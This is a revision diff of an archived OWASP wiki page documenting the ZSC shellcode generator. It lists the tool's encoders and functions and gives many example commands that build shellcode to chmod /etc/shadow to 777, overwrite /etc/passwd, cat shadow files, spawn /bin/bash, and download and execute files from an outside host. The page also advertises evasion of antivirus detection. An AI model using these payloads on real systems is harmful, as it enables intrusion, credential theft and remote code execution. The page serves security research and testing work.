This site is the archived OWASP Foundation Wiki and is no longer accepting Account Requests.
To view the new OWASP Foundation website, please visit https://owasp.org

Difference between revisions of "OWASP ZSC Tool Project"

From OWASP
Jump to: navigation, search
(Requirement / Installation)
(FAQs)
Line 126: Line 126:
 
-about => about software and developers.</nowiki></pre>
 
-about => about software and developers.</nowiki></pre>
  
 +
 +
With these switch you can see the oslist,encode types and functions [joblist] to generate your shellcode.
 +
 +
OS List "<strong>-oslist</strong>"
 +
 +
<pre><nowiki>
 +
[+] linux_x86
 +
[+] linux_x64
 +
[+] linux_arm
 +
[+] linux_mips
 +
[+] freebsd_x86
 +
[+] freebsd_x64
 +
[+] windows_x86
 +
[+] windows_x64
 +
[+] osx
 +
[+] solaris_x86
 +
[+] solaris_x64
 +
</nowiki></pre>
 +
 +
Encode Types "<strong>-types</strong>"
 +
 +
<pre><nowiki>
 +
[+] none
 +
[+] xor_random
 +
[+] xor_yourvalue
 +
[+] add_random
 +
[+] add_yourvalue
 +
[+] sub_random
 +
[+] sub_yourvalue
 +
[+] inc
 +
[+] inc_timesyouwant
 +
[+] dec
 +
[+] dec_timesyouwant
 +
[+] mix_all
 +
</nowiki></pre>
 +
 +
Functions "<strong>-joblist</strong>"
 +
 +
<pre><nowiki>
 +
[+] exec('/path/file')
 +
[+] chmod('/path/file','permission number')
 +
[+] write('/path/file','text to write')
 +
[+] file_create('/path/file','text to write')
 +
[+] dir_create('/path/folder')
 +
[+] download('url','filename')
 +
[+] download_execute('url','filename','command to execute')
 +
[+] system('command to execute')
 +
[+] script_executor('name of script','path and name of your script in your pc','execute command')
 +
</nowiki></pre>
 +
 +
 +
Now you are able to choose your operation system, function, and encode to generate your shellcode, But all of these features are not activated yet, so you have to look up this table [http://zsc.z3r0d4y.com/table.html HERE] to see what features are activated.
 +
 +
http://zsc.z3r0d4y.com/images/Snapshot_2015-07-27_123106.png
 +
 +
For example, this part of table telling us all functions for linux_x86 is activated, But <strong>Encodes</strong> [xor_random, xor_yourvalue, add_random, add_yourvalue, sub_random, sub_yourvalue, inc, inc_timesyouwant, dec, dec_timesyouwant] are just activated for <strong>chmod()</strong> function.
 +
===Examples===
 +
<pre><nowiki>
 +
>zsc -os linux_x86 -encode inc -job "chmod('/etc/passwd','777')" -o file
 +
>zsc -os linux_x86 -encode dec -job "chmod('/etc/passwd','777')" -o file
 +
>zsc -os linux_x86 -encode inc_10 -job "chmod('/etc/passwd','777')" -o file
 +
>zsc -os linux_x86 -encode dec_30 -job "chmod('/etc/passwd','777')" -o file
 +
>zsc -os linux_x86 -encode xor_random -job "chmod('/etc/shadow','777')" -o file.txt
 +
>zsc -os linux_x86 -encode xor_random -job "chmod('/etc/passwd','444')" -o file.txt
 +
>zsc -os linux_x86 -encode xor_0x41414141 -job "chmod('/etc/shadow','777')" -o file.txt
 +
>zsc -os linux_x86 -encode xor_0x45872f4d -job "chmod('/etc/passwd','444')" -o file.txt
 +
>zsc -os linux_x86 -encode add_random -job "chmod('/etc/passwd','444')" -o file.txt
 +
>zsc -os linux_x86 -encode add_0x41414141 -job "chmod('/etc/passwd','777')" -o file.txt
 +
>zsc -os linux_x86 -encode sub_random -job "chmod('/etc/passwd','777')" -o file.txt
 +
>zsc -os linux_x86 -encode sub_0x41414141 -job "chmod('/etc/passwd','444')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello.txt','hello')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "file_create('/root/Desktop/hello2.txt','hello[space]world[space]!')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "dir_create('/root/Desktop/mydirectory')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "download('http://www.z3r0d4y.com/exploit.type','myfile.type')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','./myfile.type')" -o file.txt
 +
#multi command
 +
>zsc -os linux_x86 -encode none -job "download_execute('http://www.z3r0d4y.com/exploit.type','myfile.type','chmod[space]777[space]myfile.type;sh[space]myfile.type')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "script_executor('script.type','D:\\myfile.type','./script.type')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "script_executor('z3r0d4y.sh','/root/z3r0d4y.sh','sh[space]z3r0d4y.sh')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "script_executor('ali.py','/root/Desktop/0day.py','chmod[space]+x[space]ali.py;[space]python[space]ali.py')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "system('ls')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "system('ls[space]-la')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "system('ls[space]-la[space]/etc/shadow;chmod[space]777[space]/etc/shadow;ls[space]-la[space]/etc/shadow;cat[space]/etc/shadow;wget[space]file[space];chmod[space]777[space]file;./file')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "system('wget[space]file;sh[space]file')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "chmod('/etc/shadow','777')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "write('/etc/passwd','user:pass')" -o file.txt
 +
>zsc -os linux_x86 -encode none -job "exec('/bin/bash')" -o file.txt
 +
</nowiki></pre>
 +
 +
<strong>Note</strong>: Don’t use space ‘ ’ in system() function, replace it with “[space]” , software will detect and replace “ ” for you in shellcode.
 +
 +
<strong>Note</strong>: script_executor(),download_execute(),download(),dir_create(),file_create() are using linux command line , not the function. [wget,mkdir,echo] system() function added in script, you can use it to do anything and generate any command line shellcode.
 +
 +
<strong>Note</strong>: exec() doesn’t support any ARGV same as exec(‘/bin/bash -c ls’) or exec(‘/bin/bash’,‘-c’,‘ls’), you have to wait for next version and this feature will available in system()
 +
 +
<strong>Note</strong>: you also can use high value for inc and dec time, like inc_100000, your shellcode may get too big
 +
 +
<strong>Note</strong>: each time you execute chmod()[or any other] function with random encode, you are gonna get random outputs and different shellcode.
 +
 +
<strong>Note</strong>: your xor value could be anything. “xor_0x41414141” and “xor_0x45872f4d” are examples.
 +
 +
===Wizard Switch===
 +
 +
With <strong>-wizard</strong> switch you are able to generate shellcode without long ARGVs, software will ask you for information.
 +
 +
http://zsc.z3r0d4y.com/images/Snapshot_2015-07-27_132639.png
 +
 +
<strong>Note</strong>: While you are using <strong>-wizard</strong> switch, if you push “<strong>Enter</strong>” without typing anything, the default value will be set on the varible.
 +
 +
<strong>Note</strong>: With entering “<strong>list</strong>”, List of values will be shown.
  
 
=Requirement / Installation=
 
=Requirement / Installation=

Revision as of 09:27, 6 August 2015

OWASP Project Header.jpg

OWASP ZSC Tool Project

What is OWASP ZSC ?

OWASP ZSC is an open source software in python language which lets you generate customized shellcodes for listed operation systems. This software could be run on Linux under python 2.7.x.

Snapshot_2015-07-26_191951-half.png

OWASP ZSC Home

Description

Usage of shellcodes

Shellcodesare small codes in assembly which could be use as the payload in software exploiting. Other usages are in malwares, bypassing antiviruses, obfuscated codes and etc.

Why use OWASP ZSC ?

According to other shellcode generators same as metasploit tools and etc, OWASP ZSC using new encodes and methods which antiviruses won't detect. OWASP ZSC encoderes are able to generate shellcodes with random encodes and that's lets you to get thousands new dynamic shellcodes with same job in just a second,that means you will not get a same code if you use random encodes with same commands, And that make OWASP ZSC one of the bests! otherwise it's gonna generate shellcodes for many operation systems in next versions.

Licensing

GNU GENERAL PUBLIC LICENSE , Version 3, 29 June 2007

Copyright (C) 2007 Free Software Foundation, Inc. http://fsf.org/ Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. Click to see the full license


The OWASP Security Principles are free to use. In fact it is encouraged!!! Additionally, I also encourage you to contribute back to the project. I have no monopoly on this knowledge; however, we all have pieces of this knowledge from our experience. Let's begin by putting our individual pieces together to make something great. Great things happen when people work together.

The OWASP Security Principles are licensed under the http://creativecommons.org/licenses/by-sa/3.0/ Creative Commons Attribution-ShareAlike 3.0 license], so you can copy, distribute and transmit the work, and you can adapt it, and use it commercially, but all provided that you attribute the work and if you alter, transform, or build upon this work, you may distribute the resulting work only under the same or similar license to this one.


Project Leader

Links

Shellcode Generating

With using OWASP ZSC you would be able to generate any customized Shellcode in your mind including encodes,and Disassembly code in few seconds.

Be an OWASP ZSC developer

Last Tricks in Home


Quick Download

Github Page. Download Page.

The home of the OWASP Security Principles is on GitHub. You are encourged to fork, edit and push your changes back to the project through git or edit the project directly on github.

However, if you like you may also download the master repository from the following links:

News and Events

Docs

Classifications

New projects.png Owasp-builders-small.png
Owasp-defenders-small.png
Cc-button-y-sa-small.png
Project Type Files DOC.jpg